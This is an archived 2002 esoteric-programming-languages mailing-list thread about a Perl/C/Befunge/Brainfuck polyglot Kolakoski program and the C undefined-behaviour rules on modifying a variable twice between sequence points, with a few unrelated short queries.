Received: from cepheus.azstarnet.com ([169.197.56.195])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 176yvG-0006eD-00
	for lang@esoteric.sange.fi; Sun, 12 May 2002 22:22:22 +0300
Received: from andromeda (andromeda.azstarnet.com [169.197.53.210])
	by cepheus.azstarnet.com (8.9.3/8.9.3) with ESMTP id MAA28699
	for <lang@esoteric.sange.fi>; Sun, 12 May 2002 12:22:18 -0700 (MST)
X-Sent-via: StarNet http://www.azstarnet.com/
Date: Sun, 12 May 2002 12:22:16 -0700 (MST)
From: Jeff  Johnston <jeffryj@azstarnet.com>
X-X-Sender:  <jeffryj@andromeda>
To: <lang@esoteric.sange.fi>
Subject: [lang] Re: [Slashdot] Quadrilingual Crazy Programming
In-Reply-To: <001401c1f983$ed6473e0$5c16989e@oemcomputer>
Message-ID: <Pine.GSO.4.31.0205121220470.12282-100000@andromeda>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: jeffryj@azstarnet.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: jeffryj@azstarnet.com
Precedence: bulk
X-list: misc


Agreed.. but remember those weren't Slashdot's words.. they came from
whoever submitted the article.

Jeff

On Sun, 12 May 2002, Peter S Tillier wrote:

> ----- Original Message -----
> From: "Jeff Johnston" <jeffryj@azstarnet.com>
> To: <lang@esoteric.sange.fi>
> Sent: Sunday, May 12, 2002 6:23 AM
> Subject: [lang] [Slashdot] Quadrilingual Crazy Programming
>
>
> > Just saw this on the front page of Slashdot.. heres a quote:
> >
> > "Have you ever seen source code that is valid on four languages: Perl,
> C,
> > Befunge, and BrainF*ck?  During last Perlgolf season famoous Perl
> hacker
> > Jerome Quelin submit such inconceivable masterpiece..."
>
> It's hardly inconceivable if someone has done it.  Poor choice of syntax
> and semantics by slahsdot methinks.
>
> >
> > Neato :)
> >
> > Jeff
>
> --
> Peter S Tillier
> "Who needs perl when you can write dc and sokoban in sed?"
> peter{dot}tillier<at>btinternet[dot]com
> To reply direct to me please use the above address
> not the "Reply To" which activates a spam trap.
>
>
>
>
>
>






From esoteric@oiva.sange.fi Mon May 13 02:48:54 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17732F-0007If-00; Mon, 13 May 2002 02:45:51 +0300
Received: with LISTAR (v0.129a; list misc); Mon, 13 May 2002 02:45:39 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 1772za-0007IU-00; Mon, 13 May 2002 02:43:06 +0300
Received: with LISTAR (v0.129a; list lang); Mon, 13 May 2002 02:42:58 +0300 (EEST)
Received: from web12906.mail.yahoo.com ([216.136.174.73])
	by oiva.sange.fi with smtp (Exim 3.33 #1)
	id 1772zR-0007IO-00
	for lang@esoteric.sange.fi; Mon, 13 May 2002 02:42:57 +0300
Message-ID: <20020512234237.4449.qmail@web12906.mail.yahoo.com>
Received: from [24.78.145.92] by web12906.mail.yahoo.com via HTTP; Sun, 12 May 2002 16:42:37 PDT
Date: Sun, 12 May 2002 16:42:37 -0700 (PDT)
From: Nikita Ayzikovsky <order_of_may@yahoo.com>
Subject: [lang] kolakoski problem questions
To: lang@esoteric.sange.fi
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: order_of_may@yahoo.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: order_of_may@yahoo.com
Precedence: bulk
X-list: misc

>        #include <stdio.h>
>        #include <stdlib.h>
>        #define ARGV argv
>        #define $ /*
>        unshift @ARGV, "foo";
>        sub atoi{ $_[0] }
>        "*/
>        main (int argc, char *argv[]) //";

As someone on /. pointed out, why not main (int argc, char *ARGV[])?

>        {
>                int $ tab[atoi( $ ARGV[3] )];

Why not just tab[500]? Besides, using functions in variable declarations is
generally illegal in C (not sure about the latest standard). C++ maybe?

>                int $ i;
>                int $ which, $ offset;
>                $ which = $ offset = 1;
>                $ tab [1] = atoi( $ ARGV[ $ which ] );
>                printf("%d", $ tab[1]);
>                for( $ i = 2; $ i <= atoi( $ ARGV[3] ) ; $ i++ ) {
>                        $ tab[ $ offset ] -= 1;
>                        if ( $ tab[ $ offset ] == 0 ) {
>                                $ offset++;
>                                $ which = ( ! ( -- $ which ) ) + 1;

You are assigning twice to the same variable. This is illegal. This is not
valid C, don't know about Perl.

>                        }
>                        printf("%d", $ tab[ $ i ] = atoi( $ ARGV[ $ which >] )
);
>                }
>                printf("\n");
>        }

Other than the aforementioned stuff, I think it would be cooler if the perl/C
part was obfuscated. At least, you could make the program much smaller by
simply using one-character variable names and removing the whitespace :)

__________________________________________________
Do You Yahoo!?
LAUNCH - Your Yahoo! Music Experience
http://launch.yahoo.com





From esoteric@oiva.sange.fi Mon May 13 09:13:21 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17794X-0008ml-00; Mon, 13 May 2002 09:12:37 +0300
Received: with LISTAR (v0.129a; list misc); Mon, 13 May 2002 09:12:30 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17792L-0008mI-00; Mon, 13 May 2002 09:10:21 +0300
Received: with LISTAR (v0.129a; list lang); Mon, 13 May 2002 09:10:14 +0300 (EEST)
Received: from smtp-out-6.wanadoo.fr ([193.252.19.25] helo=mel-rto6.wanadoo.fr)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17792C-0008mB-00
	for lang@esoteric.sange.fi; Mon, 13 May 2002 09:10:12 +0300
Received: from mel-rta9.wanadoo.fr (193.252.19.69) by mel-rto6.wanadoo.fr (6.5.007)
        id 3CDBAAD200146BE6 for lang@esoteric.sange.fi; Mon, 13 May 2002 08:10:10 +0200
Received: from there (80.11.104.186) by mel-rta9.wanadoo.fr (6.5.007)
        id 3CD663FF0033E89F for lang@esoteric.sange.fi; Mon, 13 May 2002 08:10:10 +0200
Message-ID: <3CD663FF0033E89F@> (added by postmaster@wanadoo.fr)
Content-Type: text/plain;
  charset="iso-8859-1"
From: Jerome Quelin <jquelin@wanadoo.fr>
To: lang@esoteric.sange.fi
Subject: [lang] Re: kolakoski problem questions
Date: Mon, 13 May 2002 08:10:53 +0200
X-Mailer: KMail [version 1.3.1]
References: <20020512234237.4449.qmail@web12906.mail.yahoo.com>
In-Reply-To: <20020512234237.4449.qmail@web12906.mail.yahoo.com>
MIME-Version: 1.0
Content-Transfer-Encoding: Quoted-Printable
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: jquelin@wanadoo.fr
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: jquelin@wanadoo.fr
Precedence: bulk
X-list: misc

On Lundi 13 Mai 2002 01:42, Nikita Ayzikovsky wrote :
> >        #define ARGV argv
[...]
> >        main (int argc, char *argv[]) //";
> As someone on /. pointed out, why not main (int argc, char *ARGV[])?

Because I did not know about this one. I'm not a C fanatic, and my C less=
ons=20
are 6 years old. :-)
This is of course the way I should have done it.


> >                int $ tab[atoi( $ ARGV[3] )];
> Why not just tab[500]? Besides, using functions in variable declaration=
s is
> generally illegal in C (not sure about the latest standard). C++ maybe?

Don't know exactly. I tried it, it worked. Remember, this is not meant to=
 be=20
production code.

Somebody pointed me about "#define $" being forbidden, since $ is not a v=
alid=20
C identifier. As long as it works (at least on my platform), I don't care=
.=20

If I were to write "professionnal" C, I wouldn't of course use such ugly=20
hacks.


> >                                $ which =3D ( ! ( -- $ which ) ) + 1;
> You are assigning twice to the same variable. This is illegal. This is =
not
> valid C, don't know about Perl.

This is valid Perl. If that's not valid C, I can do:
  -- $ which;
  $ which =3D ( ! $ which ) + 1;

But are you really sure about this one? Can't autodecrement be used anywh=
ere?


> Other than the aforementioned stuff, I think it would be cooler if the
> perl/C part was obfuscated. At least, you could make the program much
> smaller by simply using one-character variable names and removing the
> whitespace :)

Now that I'm reading my article in a detached mind, I can see much things=
 I=20
could have done better. For example, I spent quite some time to find a=20
preprocessor instruction that won't make Befunge reverse. But in fact, it=
=20
would be easier to reverse the instruction pointer, wrap from left to rig=
ht=20
and take back the instruction pointer from the right...
Another one: I wrote the Befunge solution, using _heavily_ the (p)ut and=20
(g)et instructions. But this leads to a code that is slooooooow. It would=
=20
have been better to use the stack and the stack of stacks (since it's=20
Befunge-98).

But remember, this was a contest. And I had to hurry, since the tournamen=
t=20
ended on the 8th. I wrote it this way. Once a code was working, I did not=
=20
update it, and went to the next language to include.


Cheers,
J=E9r=F4me
--=20
jquelin@wanadoo.fr





From esoteric@oiva.sange.fi Mon May 13 09:38:14 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 1779T0-0008wu-00; Mon, 13 May 2002 09:37:54 +0300
Received: with LISTAR (v0.129a; list misc); Mon, 13 May 2002 09:37:47 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 1779SN-0008tl-00; Mon, 13 May 2002 09:37:15 +0300
Received: with LISTAR (v0.129a; list lang); Mon, 13 May 2002 09:37:08 +0300 (EEST)
Received: from web12908.mail.yahoo.com ([216.136.174.75])
	by oiva.sange.fi with smtp (Exim 3.33 #1)
	id 1779SE-0008tc-00
	for lang@esoteric.sange.fi; Mon, 13 May 2002 09:37:07 +0300
Message-ID: <20020513063704.10946.qmail@web12908.mail.yahoo.com>
Received: from [24.78.145.92] by web12908.mail.yahoo.com via HTTP; Sun, 12 May 2002 23:37:04 PDT
Date: Sun, 12 May 2002 23:37:04 -0700 (PDT)
From: Nikita Ayzikovsky <order_of_may@yahoo.com>
Subject: [lang] Re: kolakoski problem questions
To: lang@esoteric.sange.fi
In-Reply-To: <3CD663FF0033E89F@> (added by postmaster@wanadoo.fr)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: order_of_may@yahoo.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: order_of_may@yahoo.com
Precedence: bulk
X-list: misc

--- Jerome Quelin <jquelin@wanadoo.fr> wrote:

> > >                                $ which = ( ! ( -- $ which ) ) + 1;
> > You are assigning twice to the same variable. This is illegal. This is not
> > valid C, don't know about Perl.
> 
> This is valid Perl. If that's not valid C, I can do:
>   -- $ which;
>   $ which = ( ! $ which ) + 1;
> 
> But are you really sure about this one? Can't autodecrement be used anywhere?

No. The rule is simple, and states that a variable can only be assigned to once
per expression. Otherwise C gets all confused about the order in which the
assignments are to be evaluated.

The relevant FAQ is http://www.eskimo.com/~scs/C-faq/q3.3.html and links from it.

__________________________________________________
Do You Yahoo!?
LAUNCH - Your Yahoo! Music Experience
http://launch.yahoo.com





From esoteric@oiva.sange.fi Mon May 13 10:52:04 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 177Acb-0009Kg-00; Mon, 13 May 2002 10:51:53 +0300
Received: with LISTAR (v0.129a; list misc); Mon, 13 May 2002 10:51:46 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 177AcC-0009Ka-00; Mon, 13 May 2002 10:51:28 +0300
Received: with LISTAR (v0.129a; list lang); Mon, 13 May 2002 10:51:20 +0300 (EEST)
Received: from glisan.hevanet.com ([198.5.254.5])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 177Ac3-0009KT-00
	for lang@esoteric.sange.fi; Mon, 13 May 2002 10:51:19 +0300
Received: from [130.94.161.238] (130-94-161-238-dsl.hevanet.com [130.94.161.238])
	by glisan.hevanet.com (8.10.2/8.10.2) with ESMTP id g4D7pCr14034
	for <lang@esoteric.sange.fi>; Mon, 13 May 2002 00:51:13 -0700 (PDT)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Mon, 13 May 2002 00:51:14 -0700
Subject: [lang] Re: kolakoski problem questions
From: Daniel <cristofd@hevanet.com>
To: <lang@esoteric.sange.fi>
Message-ID: <B904BE82.5D2%cristofd@hevanet.com>
In-Reply-To: <20020512234237.4449.qmail@web12906.mail.yahoo.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cristofd@hevanet.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cristofd@hevanet.com
Precedence: bulk
X-list: misc

>> $ which = ( ! ( -- $ which ) ) + 1;
> 
> You are assigning twice to the same variable. This is illegal. This is not
> valid C, don't know about Perl.

Wait...code that produces undefined behaviour isn't the same as illegal or
invalid code, is it? The latter must produce an error message and failure to
compile, whereas the former could do absolutely anything--including work
properly. Right?

-Daniel.






From esoteric@oiva.sange.fi Mon May 13 14:32:35 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 177E41-000AbB-00; Mon, 13 May 2002 14:32:25 +0300
Received: with LISTAR (v0.129a; list misc); Mon, 13 May 2002 14:32:18 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 177E3M-000Ab5-00; Mon, 13 May 2002 14:31:44 +0300
Received: with LISTAR (v0.129a; list lang); Mon, 13 May 2002 14:31:37 +0300 (EEST)
Received: from ctb-mesg1.saix.net ([196.25.240.73])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 177E3C-000Aaz-00
	for lang@esoteric.sange.fi; Mon, 13 May 2002 14:31:35 +0300
Received: from lennie (woc53-01-p34.wc.saix.net [155.239.129.34])
	by ctb-mesg1.saix.net (8.11.4/8.11.4) with SMTP id g4DBVMR22273
	for <lang@esoteric.sange.fi>; Mon, 13 May 2002 13:31:23 +0200 (SAT)
Message-ID: <010d01c1fa70$e8467fa0$e381ef9b@lennie>
From: "D De Villiers" <ddevilliers@lando.co.za>
To: "EsoLang Lang" <lang@esoteric.sange.fi>
Subject: [lang] Summer 2000 (?)
Date: Mon, 13 May 2002 12:27:40 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: ddevilliers@lando.co.za
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: ddevilliers@lando.co.za
Precedence: bulk
X-list: misc

Hello!

I unfortunatly mist the message on the new "Summer 2000" language ! Where
can I find it ?

Lennie De Villiers

SYSTEMS DEVELOPER & SOFTWARE CONSULTANT
Tel:  +27 82 4455949  Fax: +27 82 131 4455949
Email: ddevilliers@lando.co.za







From esoteric@oiva.sange.fi Mon May 13 22:52:38 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 177Lrm-000CGl-00; Mon, 13 May 2002 22:52:18 +0300
Received: with LISTAR (v0.129a; list misc); Mon, 13 May 2002 22:52:11 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 177Lps-000CGR-00; Mon, 13 May 2002 22:50:21 +0300
Received: with LISTAR (v0.129a; list lang); Mon, 13 May 2002 22:50:13 +0300 (EEST)
Received: from rebecca.tiscali.nl ([195.241.76.181])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 177Lpk-000CGL-00
	for lang@esoteric.sange.fi; Mon, 13 May 2002 22:50:12 +0300
Received: from dds.nl (xs241-217-225.dial.tiscali.nl [195.241.217.225])
	by rebecca.tiscali.nl (Postfix) with ESMTP id 50E848A39D9
	for <lang@esoteric.sange.fi>; Mon, 13 May 2002 21:50:04 +0200 (MET DST)
Sender: root@rebecca.tiscali.nl
Message-ID: <3CE01EC9.B901BF93@dds.nl>
Date: Mon, 13 May 2002 22:15:05 +0200
From: Milo van Handel <mwq@dds.nl>
Organization: Milo-Soft
X-Mailer: Mozilla 4.08 [en] (X11; I; Linux 2.2.3-5 i586)
MIME-Version: 1.0
To: lang@esoteric.sange.fi
Subject: [lang] Re: kolakoski problem questions
References: <20020513063704.10946.qmail@web12908.mail.yahoo.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
X-list: misc

Nikita Ayzikovsky wrote:

> --- Jerome Quelin <jquelin@wanadoo.fr> wrote:
>
> > > >                                $ which = ( ! ( -- $ which ) ) + 1;
> > > You are assigning twice to the same variable. This is illegal. This is not
> > > valid C, don't know about Perl.
> >
> > This is valid Perl. If that's not valid C, I can do:
> >   -- $ which;
> >   $ which = ( ! $ which ) + 1;
> >
> > But are you really sure about this one? Can't autodecrement be used anywhere?
>
> No. The rule is simple, and states that a variable can only be assigned to once
> per expression. Otherwise C gets all confused about the order in which the
> assignments are to be evaluated.

I'm not sure about this, but although post-increment might cause confusion (even
though I do think it is defined to do the increment before the surrounding
assigment,since the increment is properly contained in the assignment),
pre-increment should work flawlessly.  The real problem is if you say
"a=(--b)*2+(--b)", which (ignoring changes to b) could result in either "a=3b-4" or
"a=3b-5".  Besides, why not just do "$ which = (!($ which - 1)) + 1" (you overwrite
"$ which" anyway, so why decrement it?), or even "$ which = 1 + ($ which == 1)"
(looks the same to me)?






From esoteric@oiva.sange.fi Mon May 13 22:54:15 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 177Lta-000CHc-00; Mon, 13 May 2002 22:54:10 +0300
Received: with LISTAR (v0.129a; list misc); Mon, 13 May 2002 22:54:03 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 177Lt0-000CHV-00; Mon, 13 May 2002 22:53:34 +0300
Received: with LISTAR (v0.129a; list lang); Mon, 13 May 2002 22:53:26 +0300 (EEST)
Received: from rebecca.tiscali.nl ([195.241.76.181])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 177Lss-000CHP-00
	for lang@esoteric.sange.fi; Mon, 13 May 2002 22:53:26 +0300
Received: from dds.nl (xs241-217-225.dial.tiscali.nl [195.241.217.225])
	by rebecca.tiscali.nl (Postfix) with ESMTP id B59FC8A5F58
	for <lang@esoteric.sange.fi>; Mon, 13 May 2002 21:53:17 +0200 (MET DST)
Sender: root@rebecca.tiscali.nl
Message-ID: <3CE01F8A.2C7AAB96@dds.nl>
Date: Mon, 13 May 2002 22:18:18 +0200
From: Milo van Handel <mwq@dds.nl>
Organization: Milo-Soft
X-Mailer: Mozilla 4.08 [en] (X11; I; Linux 2.2.3-5 i586)
MIME-Version: 1.0
To: lang@esoteric.sange.fi
Subject: [lang] Re: Summer 2000 (?)
References: <010d01c1fa70$e8467fa0$e381ef9b@lennie>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
X-list: misc

D De Villiers wrote:

> I unfortunatly mist the message on the new "Summer 2000" language ! Where
> can I find it ?

That's "missed", and it should be somewhere near
http://esoteric.sange.fi/archive/...






From esoteric@oiva.sange.fi Tue May 14 00:33:33 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 177NRI-000CYk-00; Tue, 14 May 2002 00:33:04 +0300
Received: with LISTAR (v0.129a; list misc); Tue, 14 May 2002 00:32:57 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 177NR4-000CYe-00; Tue, 14 May 2002 00:32:50 +0300
Received: with LISTAR (v0.129a; list lang); Tue, 14 May 2002 00:32:43 +0300 (EEST)
Received: from madness.the-space.net ([216.231.41.66] helo=shub.muppetlabs.com)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 177NQw-000CYY-00
	for lang@esoteric.sange.fi; Tue, 14 May 2002 00:32:42 +0300
Received: (from breadbox@localhost)
	by shub.muppetlabs.com (8.11.6/8.11.6) id g4DLWeo15015;
	Mon, 13 May 2002 14:32:40 -0700
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15584.12535.926541.313541@shub.muppetlabs.com>
Date: Mon, 13 May 2002 14:32:39 -0700 (PDT)
From: Brian Raiter <breadbox@muppetlabs.com>
To: lang@esoteric.sange.fi
Subject: [lang] Re: kolakoski problem questions
In-Reply-To: <3CE01EC9.B901BF93@dds.nl>
References: <20020513063704.10946.qmail@web12908.mail.yahoo.com>
	<3CE01EC9.B901BF93@dds.nl>
X-Mailer: VM 6.68 under Emacs 20.7.1
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: breadbox@muppetlabs.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: breadbox@muppetlabs.com
Precedence: bulk
X-list: misc

> > > > >                                $ which = ( ! ( -- $ which ) ) + 1;
> > > > You are assigning twice to the same variable. This is
> > > > illegal. This is not valid C, don't know about Perl.
> > >
> > > This is valid Perl. If that's not valid C, I can do:
> > >   -- $ which;
> > >   $ which = ( ! $ which ) + 1;
> > >
> > > But are you really sure about this one? Can't autodecrement be
> > > used anywhere?

Of course it can, but not when you're simultaneously assigning to the
same variable.

> > No. The rule is simple, and states that a variable can only be
> > assigned to once per expression. Otherwise C gets all confused
> > about the order in which the assignments are to be evaluated.

Not "once per expression", but "one inbetween sequence
points". (Sequence points appear at semicolons, around function calls,
and inbetween the arguments to the operators && || ?: and comma.)

> I'm not sure about this, but although post-increment might cause
> confusion (even though I do think it is defined to do the increment
> before the surrounding assigment,since the increment is properly
> contained in the assignment), pre-increment should work flawlessly.

Sorry, no. It's not a matter of "the C compiler gets all confused".
It's a matter of "the C compiler is permitted to assume that the
programmer will never break this rule accidentally". So not only is
your compiler not required to tell you when you break the rule, but it
can use all kinds of optimization techniques that might cause such
illegal statements to produce complete nonsense values.

> The real problem is if you say "a=(--b)*2+(--b)", which (ignoring
> changes to b) could result in either "a=3b-4" or "a=3b-5".

... Or a could be set to some arbitrary garbage value. Or your program
could raise a bus fault. Or the compiler might cause demons to fly out
of your nose.

b





From esoteric@oiva.sange.fi Tue May 14 13:07:42 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 177ZCR-000EzM-00; Tue, 14 May 2002 13:06:31 +0300
Received: with LISTAR (v0.129a; list misc); Tue, 14 May 2002 13:06:24 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 177Z9u-000Eyk-00; Tue, 14 May 2002 13:03:55 +0300
Received: with LISTAR (v0.129a; list lang); Tue, 14 May 2002 13:03:47 +0300 (EEST)
Received: from ctb-mesg2.saix.net ([196.25.240.74])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 177Z9k-000Eyc-00
	for lang@esoteric.sange.fi; Tue, 14 May 2002 13:03:45 +0300
Received: from lennie (woc53-01-p20.wc.saix.net [155.239.129.20])
	by ctb-mesg2.saix.net (8.11.4/8.11.4) with SMTP id g4EA35711382;
	Tue, 14 May 2002 12:03:08 +0200 (SAT)
Message-ID: <000401c1fb2d$be562020$1481ef9b@lennie>
From: "D De Villiers" <ddevilliers@lando.co.za>
To: "Mtv Europe" <mtve@frox25.dhs.org>
Cc: "EsoLang Lang" <lang@esoteric.sange.fi>
References: <752016889291.20020513203435@frox25.dhs.org>
Subject: [lang] Re: A new language: Summer 2002
Date: Tue, 14 May 2002 00:33:15 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: ddevilliers@lando.co.za
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: ddevilliers@lando.co.za
Precedence: bulk
X-list: misc

Mtv Europe,

> > I unfortunatly mist the message on the new "Summer 2000" language !
Where
> > can I find it ?
> I think it was a joke, see below:

Thank You ! :)
As anyone write an interpreter for this new language, yet ?

Lennie De Villiers

SYSTEMS DEVELOPER & SOFTWARE CONSULTANT
Tel:  +27 82 4455949  Fax: +27 82 131 4455949
Email: ddevilliers@lando.co.za







From esoteric@oiva.sange.fi Tue May 21 12:50:34 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17A6HC-000AO5-00; Tue, 21 May 2002 12:49:54 +0300
Received: with LISTAR (v0.129a; list misc); Tue, 21 May 2002 12:49:47 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17A6Fd-000ANX-00; Tue, 21 May 2002 12:48:17 +0300
Received: with LISTAR (v0.129a; list lang); Tue, 21 May 2002 12:48:09 +0300 (EEST)
Received: from ctb-mesg1.saix.net ([196.25.240.73])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17A6FT-000ANQ-00
	for lang@esoteric.sange.fi; Tue, 21 May 2002 12:48:08 +0300
Received: from lennie (woc53-01-p232.wc.saix.net [155.239.129.232])
	by ctb-mesg1.saix.net (8.11.4/8.11.4) with SMTP id g4L9lnR13661
	for <lang@esoteric.sange.fi>; Tue, 21 May 2002 11:47:51 +0200 (SAT)
Message-ID: <002401c200ab$c08a6c60$e881ef9b@lennie>
From: "D De Villiers" <ddevilliers@lando.co.za>
To: "EsoLang Lang" <lang@esoteric.sange.fi>
Subject: [lang] EsoLang MiRC channel ?
Date: Mon, 20 May 2002 21:10:28 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: ddevilliers@lando.co.za
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: ddevilliers@lando.co.za
Precedence: bulk
X-list: misc

Hello!

Is there a MiRC channel for esoteric languages ?

Lennie De Villiers

